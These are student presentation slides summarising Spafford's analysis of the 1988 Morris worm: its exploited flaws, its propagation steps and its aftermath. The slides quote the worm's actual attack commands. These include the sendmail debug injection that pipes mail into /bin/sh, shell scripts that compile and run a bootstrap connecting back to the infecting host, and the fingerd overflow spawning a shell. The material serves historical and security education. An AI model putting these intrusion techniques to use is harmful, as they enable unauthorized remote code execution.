Crisis And Aftermath

Eugene H. Spafford

발표자: 최준건
Contents

- Introduction
- Exploited Flaws
- Step-by-step Description
- Crisis & Aftermath
Worm

- Self-replicating computer program
- Propagates over the network
- Without user intervention
- Causes harm to the network/system resource
Worm History

- 1975: Science fiction “The Shockwave Rider”
  - To shut down evil government network
- 1981: Xerox PARC research
  - as a legitimate mechanism for performing tasks in a distributed environment
  - Useful but can be dangerous
- 1988: Morris Worm
How the worm operated

- Took advantage of the flaws in software on many UNIX
  - fingerd
  - sendmail
  - Password mechanism
fingerd

- UNIX daemon which allows users to obtain information about other user over TPC/IP
- The worm broke fingerd program by “buffer overrun”
- The worm exploited `gets()` call
  - Has buffer overrun problem
    - `char *gets(char *s)` – “Never use `gets()`. Because it is impossible to tell without knowing the data in advance how many characters `gets()` will read, and because `gets()` will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security.”

- Overwrites the stack by overrunning buffer
- Causes the program to return to worm program code → worm can run alone
sendmail

- sendmail is mailer program to route mail in a heterogeneous network.

- By debug option, tester can run programs to display the state of the mail system without sending mail or establishing a separate login connection.

- Many admins unaware of this option

- Worm use debug option to invoke set of commands instead of user address
UNIX Password Mechanism

- When user log-on
  - User-provided password is encrypted, then compared to the previously encrypted password
  - If match, access granted

- Encrypted password, auth scheme was publicly accessible
  - Brute-force trial-and-error using dictionary
    - 50% of the passwords were quickly broken

- Worm also exploited “trusted hosts”
High-level Description

- **Main Program**
  - Collects information on other machines in the network
    - Reading public configuration files
    - Running system utility programs
  - Then tries to infect other machines with the information obtained using the flaws

- **Vector Program**
  - 99 lines of C code
    - Compiled and run on the remote machine
  - Connects back to the infecting machine, transfers the main worm binary
  - Deleted automatically
Step 1. Socket for Vector program

- A socket established on the infecting machine for the vector program to connect to
- Randomly generate
  - Challenge string
  - File name base
Step 2. Vector Program

- Vector executed using one of two methods

  1) Using the rsh, rexec, fingerd

    PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
echo gorch49; sed '/int zz/q' > x14481910.c; echo gorch50
    [text of vector program]
    int zz;
    cc -o x14481910 x14481910.c; x14481910 <infecting machine addr> <port #> <challenge string>;
    rm -f x14481910 x14481910.c; echo DONE

  2) Using the sendmail – SMTP connection

    debug
    mail from: </dev/null>
    rcpt to: <"|sed -e '1,/^$/d' | /bin/sh ; exit 0">
    data
cd /usr/tmp
cat > x14481910.c <<'EOF'
    [text of vector program]
    EOF
    cc -o x14481910 x14481910.c;x14481910 <infecting machine addr> <port #> <challenge string>;
    rm -f x14481910 x14481910.c
    quit
Step 3. File Transfer

- Vector program connects to the server (infected machine)
  - With the challenge string
- Receives 3 files
  - Worm
    - Binary for Sun 3
    - Binary VAX machine
  - Vector program source code
- The running vector program becomes a shell
  - Input / output connected to the server worm
Step 4. Infect Host

- Server sends the command stream to the connected shell
  PATH=/bin:/usr/bin:/usr/ucb
  rm -f sh
  if [ -f sh ]
  then
    p=x1448190
  else
    p=sh
  fi

- Then for each binary
  cc -o $P x14481910,sun3.o
  ./$P -p $$ x14481910,sun3.o x14481910,vax.o x14481910,11.c
  rm -f $P
Step 5. Hide Worm

- New worm hides itself
  - Obscuring its argument vector
  - Unlinking the binary version of itself
  - Killing its parent ($$)
  - Read worm binary into memory and encrypt
  - And delete files from disk
Step 6 : Gathering Information

- The worm gathers information about
  - Network interface
  - Hosts to which the local machines was connected
- Using `ioctl, netstat`
Step 7. Reachability

- Tries to infect some from the list
- Check reachability using telnet, rexec
Step 8. Infection Attempts

- **Attack via rsh**
  - `/usr/bin/rsh, /bin/rsh`
    - Can be used without password checking
  - If successful, go to step 1 and step 2.1

- **Finger**
  - Connects to finger daemon
  - Passes specially constructed 536 bytes → buffer overflow → stack overwritten → return address changed
    - `execve("/bin/sh", 0, 0)`
  - If successful, go to step 1 and step 2.1

- **Connection to SMTP**
  - Step 2.2
Step 9. Password Cracking

1. Collect info
   - `/etc/hosts.equiv` and `~/.rhosts`
   - `/etc/passwd`
   - `~/.forward`

2. Cracking passwd using simple choices

3. Cracking passwd with an internal dictionary of words

4. Cracking passwd with `/usr/dict/words`

5. Loop forever trying to infect hosts in its internal tables
Step 10. When Password Broken

- Break into remote machines
  - Read .forward, .rhosts of user accounts

- Create the remote shell
  - Attempts to create a remote shell using rexec service
    - Users often have the same password
  - rexec to current host then try rsh command to remote host
    - rsh to the remote host (exploiting trusted host)
Characteristics

- Checks if other worms running
  - However, to compensate the possibility of false positive from system admins, programmed to make one of 7 worms become immortal → overloading
- Fork itself and kill parent
  - No excessive CPU time
- Re-infect the same machine every 12 hours
- No code to explicitly damage any system
- No mechanism to halt
Aftermath

- Around 6000 major UNIX machines were infected (10% of the network at that time)
- Important nation-wide gateways were shutdown
- Topic debated
  - punishment
- Robert T. Morris arrested
  - Says he wanted to gauge the size of the internet
  - Three years of probation, 400 hours of community service, a fine of $10,050
- Computer Emergency Response Team established
End of presentation